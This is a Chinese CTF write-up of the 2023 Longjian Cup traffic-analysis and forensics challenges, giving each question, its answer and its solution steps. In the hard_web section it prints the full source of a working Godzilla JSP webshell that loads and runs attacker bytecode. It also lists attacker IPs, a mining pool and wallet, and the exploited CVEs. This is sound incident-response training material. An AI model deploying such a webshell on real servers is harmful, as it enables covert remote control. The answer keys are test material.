【流量分析】2023陇剑杯线上初赛
简单复现学习一下陇剑杯的流量分析题
陇剑杯
HW
hard_web_1
80,888,8888
服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开如服务器开放了80 81 82 83端口,则答案为80,81,82,83)
过滤tcp包,发现一个ip一直对服务器发送syn包,应该是在进行端口扫描
过滤syn+ack的包:tcp.flags.syn1 and tcp.flags.ack1
这些就是开放的端口
hard_web_2
flag{9236b29d-5488-41e6-a04b-53b0d8276542}
服务器中根目录下的flag值是多少?
使用http contains "flag" 无果
简单翻阅数据包,发现shell.jsp,请求包含大量乱码,并且响应是200和乱码数据,很明显的webshell特征
发现shell.jsp内容,很明显哥斯拉的webshell
% !String xc = "748007e861908c03";
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
} %> <%
try {
byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream = request.getInputStream();
int _num = 0;
while ((_num += inputStream.read(data, _num, data.length)) < data.length);
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
Object f = ((Class) session.getAttribute("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(pageContext);
f.toString();
response.getOutputStream().write(x(arrOut.toByteArray(), true));
}
} catch (Exception e) {} %>
得到了密钥,可以对所有流量进行解密
解密流量,在最后一个流量包攻击者读取了/flag
hard_web_3
该webshelle的连接密码是多少?
14mk3y
SS
sevrer save_1
黑客是使用什么漏洞来拿下root权限的。格式为:CVE-2020-114514
CVE-2022-22965
前面都是爆破的干扰数据包,直接翻到最后,发现通过一个接口写入了webshell
定位到exp流量,搜索引擎搜一下发现是spring4shell漏洞
sevrer save_2
黑客反弹shell的ip和端口是什么,格式为:10.0.0.1:4444
192.168.43.128:2333
sevrer save_3
黑客的病毒名称是什么? 格式为:filename
main
home目录发现可疑的文件,上传后发现是挖矿木马
sevrer save_4
黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password
ll:123456
看一下/etc/passwd,再看下/etc/shadow
sevrer save_5
服务器在被入侵时外网ip是多少? 格式为:10.10.0.1
172.105.202.239
sevrer save_6
病毒运行后释放了什么文件?格式:文件1,文件2
lolMiner ,mine_doge.sh
sevrer save_7
矿池地址是什么? 格式:domain:1234
doge.millpools.cc:5567
sevrer save_8
黑客的钱包地址是多少?格式:xx:xxxxxxxx
DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker
WS
Wireshark1_1
被入侵主机的IP是?
192.168.246.28
简单浏览下值得看的就是telnet数据
追踪一下tcp流,发现直接通过口令登录后执行了系统命令
Wireshark1_2
被入侵主机的口令是?
youcannevergetthis
Wireshark1_3
用户目录下第二个文件夹的名称是?
Downloads
Wireshark1_4
/etc/passwd中倒数第二个用户的用户名是?
mysq
IR
你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网IP是10.221.36.21。查询CMDB后得知该IP运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)
IncidentResponse_1
挖矿程序所在路径是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
/etc/redis/redis-server
排查了计划任务,隐藏账户,历史命令,常见目录,开启自启动等都没发现可疑的地方
排查到.viminfo,发现配置了redis,查看redis配置文件,发现异常
导入沙箱分析一下,确认是挖矿程序,藏的还挺深
IncidentResponse_2
挖矿程序连接的矿池域名是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
donate.v2.xmrig.com:3333
IncidentResponse_3
攻击者入侵服务器的利用的方法是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
题目提示:答案md5值前两位为3e
shiro反序列化
看一下开放的服务,只有80端口对外
查看一下spring日志,发现存在shiro框架,大概率是反序列化漏洞
使用工具验证一下,确定了
IncidentResponse_4
攻击者的IP是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
81.70.166.3
使用last查看root登录记录,发现外网ip:81.70.166.3
请求日志里过滤这个ip,发现其有大量的扫描攻击行为
IncidentResponse_5
攻击者发起攻击时使用的User-Agent是?(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
前面都是扫描,最后才是发起攻击,因此这里填最后的UA
IncidentResponse_6
攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以a开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
/root/.ssh/authorized_keys
一个是写了公钥
root@timecard:~# cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+pugu22rrUIBW5/w96AgoCEuadCvmqQJTdcvSnCChhFu2FiAaJxjA2gzUTiXzFjPn0TgCg5paCIKt1hYbeeWEe6R0YYOlcV5/WdnGvsAzXBXVDFjDPlo95Zym2Sd8PD1gOTy9wPChidCN9nb5rVvWs9LDqWhzzxsuyoAvdBWmZQHg9tYt/dDLdnMyC00GJJCbKO8vPwLIf10yxyP+Iu5cAxizTdGfE8jKtkyOxOWril/p4CXRUMTDxhzMbOfGMsa6uaS/xphKs2xb3OF0Nk/GYK76nTqJutt4T1IU4Sp5Vm/M3PFPyYbQbp1ePfqRqgt6WsJkyxXGYBI3Hz+lL41ASwArXipz4+PENqPgaL9CohvySGKMT/vksXgvqU0dpWz5SSRb+yQM0nXfJU+q7UMxNnNkss7cJ5DAa0kgaomC+XS2BNb7/LcAIrprUpuecjNvl8eQCrI4+6o3iIdkmNFhNMMnIDiUNjPqLuQU2JWAJmypB2XQuf0umbyEZ7SkyVU= root@kali
IncidentResponse_7
攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5加密后以b开头)(答案中如有空格均需去除,如有大写均需变为小写,使用echo -n 'strings'|md5sum|cut -d ' ' -f1获取md5值作为答案)
/lib/systemd/system/redis.service
第二个就是前面分析的,redis是恶意程序,并且创建了一个redis服务使得可以一直运行
SSW
SmallSword_1
连接蚁剑的正确密码是 ____ __?(答案示例:123asd)
6ea280898e404bfabd0ebb702327b18f
sql注入写入的webshell
SmallSword_2
攻击者留存的值是 ____ __?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)
ad6269b7-3ce2-4ae8-b97f-f259515e7a91
这个主要考察蚁剑流量解密,url解码密码参数值即可知道要执行的操作,比如下面这个请求,就是要执行写入文件的操作
再把要写入的文件名,文件内容base64解出来即可
SmallSword_3
攻击者下载到的flag是 ____ __?(答案示例:flag3{uuid})
继续分析流量,发现攻击者下载了一个huorong.exe,并且该文件是个pe文件也就是windows下的可执行文件
转为原始数据后导出,保存为exe,一直运行失败,删除前缀到MZ头也不行,先搁置
EW
ez_web_1
服务器自带的后门文件名是什么?(含文件后缀)
ViewMore.php
前面都是404不用看,直接翻到最后面,发现后门
但是答案不是这个,于是全局搜一下d00r.php,发现是通过ViewMore.php这个接口写进去的
ez_web_2
服务器内网IP是多少?
192.168.101.132
攻击者执行过ifconfig,有两个内网ip,挨个试一下
ez_web_3
攻击者往服务器中写入的key是什么?
7d9ddff2-2d67-4eba-9e48-b91c26c42337
发现攻击者写入的命令,写入了一个压缩包文件
压缩包导入到本地,打开后发现需要密码
再翻一下流量,发现一个密码,尝试解密,成功
BF
baby_forensics_1
磁盘中的key是多少?
2e80307085fd2b5c49c968c323ee25d5
baby_forensics_2
电脑中正在运行的计算器的运行结果是多少?
7598632541
baby_forensics_3
该内存文件中存在的flag值是多少?
flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}
TP
tcpdump_1
攻击者通过暴力破解进入了某Wiki 文档,请给出登录的用户名与密码,以:拼接,比如admin:admin
TMjpxFGQwD:123457
有很多访问login的流量,过滤出登录成功的:json contains "200}" and http.response_for.uri contains "login"
tcpdump_2
攻击者发现软件存在越权漏洞,请给出攻击者越权使用的cookie的内容的md5值。(32位小写)
userid=1
从数据包可以看到,有个cookie值userid=2
继续看数据包,找找哪个数据包改了这个值,就是在尝试越权
tcpdump_3
攻击使用jdbc漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如root:123456
zyplayer:1234567
先过滤jdbc,查看到有个接口应该是可以尝试jdbc连接,应该是jdbc的url可控造成的漏洞
于是在tcp数据里过滤jdbc:tcp contains "jdbc" and tcp contains "username" and tcp contains "password"
tcpdump_4
攻击者又使用了CVE漏洞攻击应用,执行系统命令,请给出此CVE编号以及远程EXP的文件名,使用:拼接,比如CVE-2020-19817:exp.so
CVE-2022-21724:custom.dtd.xml
继续往后看流量,发现以下漏洞的exp:PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)
看一下执行的命令,在尝试反弹shell
tcpdump_5
给出攻击者获取系统权限后,下载的工具的名称,比如nmap
fscan
过滤上面反弹shell的ip的流量,追踪到相关命令
HD
hacked_1
admIn用户的密码是什么?
flag{WelC0m5_TO_H3re}
登录接口存在AES加密
有了密钥、iv这些直接解密即可
hacked_2
app.config['SECRET_KEY']值为多少?
ssti_flask_hsfvaldb
tcp contains "SECRET_KEY"
hacked_3
flask网站由哪个用户启动?
red
解一下这两个session就可以了,攻击者尝试执行whoami并把命令结果更新到session里
hacked_4
攻击者写入的内存马的路由名叫什么?(答案里不需要加/)
Index
继续解后面的请求,发现打入了一个简单的内存马,不过这里只是添加了访问该路由则返回“Hello! 123”,没有写入命令执行的规则